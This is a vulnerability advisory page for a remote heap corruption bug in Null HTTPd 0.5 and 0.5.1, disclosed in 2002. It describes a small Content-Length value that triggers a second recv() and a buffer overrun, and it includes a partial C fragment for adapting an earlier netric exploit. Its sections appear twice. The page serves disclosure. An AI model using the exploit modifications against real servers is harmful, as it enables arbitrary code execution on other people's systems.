Null HTTPD Remote Heap Corruption Vulnerability
BID:6255
Info
Null HTTPD Remote Heap Corruption Vulnerability
| Bugtraq ID: | 6255 |
| Class: | Boundary Condition Error |
| CVE: | |
| Remote: | Yes |
| Local: | No |
| Published: | Nov 26 2002 12:00AM |
| Updated: | Nov 26 2002 12:00AM |
| Credit: | Discovery of this vulnerability is credited to Shuo Chen <[email protected]> and Jun Xu. |
| Vulnerable: |
NullLogic Null HTTPd 0.5.1 NullLogic Null HTTPd 0.5 |
| Not Vulnerable: | |
Discussion
Null HTTPD Remote Heap Corruption Vulnerability
A heap corruption vulnerability has been discovered in Null httpd. By passing a small content length value to the server and triggering the server to make a second recv() of POST data, it is possible to overrun a buffer.
An attacker may exploit this condition to overwrite arbitrary words in memory through the free() function. This may allow for the execution of arbitrary code.
It should be noted that this vulnerability is similar to the issue described in BID 5774, but requires a slightly different method to trigger.
A heap corruption vulnerability has been discovered in Null httpd. By passing a small content length value to the server and triggering the server to make a second recv() of POST data, it is possible to overrun a buffer.
An attacker may exploit this condition to overwrite arbitrary words in memory through the free() function. This may allow for the execution of arbitrary code.
It should be noted that this vulnerability is similar to the issue described in BID 5774, but requires a slightly different method to trigger.
Exploit / POC
Null HTTPD Remote Heap Corruption Vulnerability
A modification of the netric exploit, available for the vulnerability in BID 5774, has been released.
The following modification must be made to the referenced exploit:
int exploit(....)
{ char sendbuf[1500]; /*char sendbuf[500];*/
char buffer[1377]; /*char buffer[377]*/
.....
for(i=0;i<1376;i=i+4) /*for(i=0;i<376;i=i+4) */
{
...
}
i = 1032; /* i = 224; */
...
buffer[1376] = 0x0; /* buffer[376] = 0x0;*/
snprintf(sendbuf, sizeof(sendbuf) -1, "POST / HTTP/1.0\n"
"Content-Length: 8\n" /*"Content-Length: -800\n"*/
"\n%s\n",buffer);
...
}
A modification of the netric exploit, available for the vulnerability in BID 5774, has been released.
The following modification must be made to the referenced exploit:
int exploit(....)
{ char sendbuf[1500]; /*char sendbuf[500];*/
char buffer[1377]; /*char buffer[377]*/
.....
for(i=0;i<1376;i=i+4) /*for(i=0;i<376;i=i+4) */
{
...
}
i = 1032; /* i = 224; */
...
buffer[1376] = 0x0; /* buffer[376] = 0x0;*/
snprintf(sendbuf, sizeof(sendbuf) -1, "POST / HTTP/1.0\n"
"Content-Length: 8\n" /*"Content-Length: -800\n"*/
"\n%s\n",buffer);
...
}
Solution / Fix
Null HTTPD Remote Heap Corruption Vulnerability
Solution:
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: [email protected] <mailto:[email protected]>.
Solution:
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: [email protected] <mailto:[email protected]>.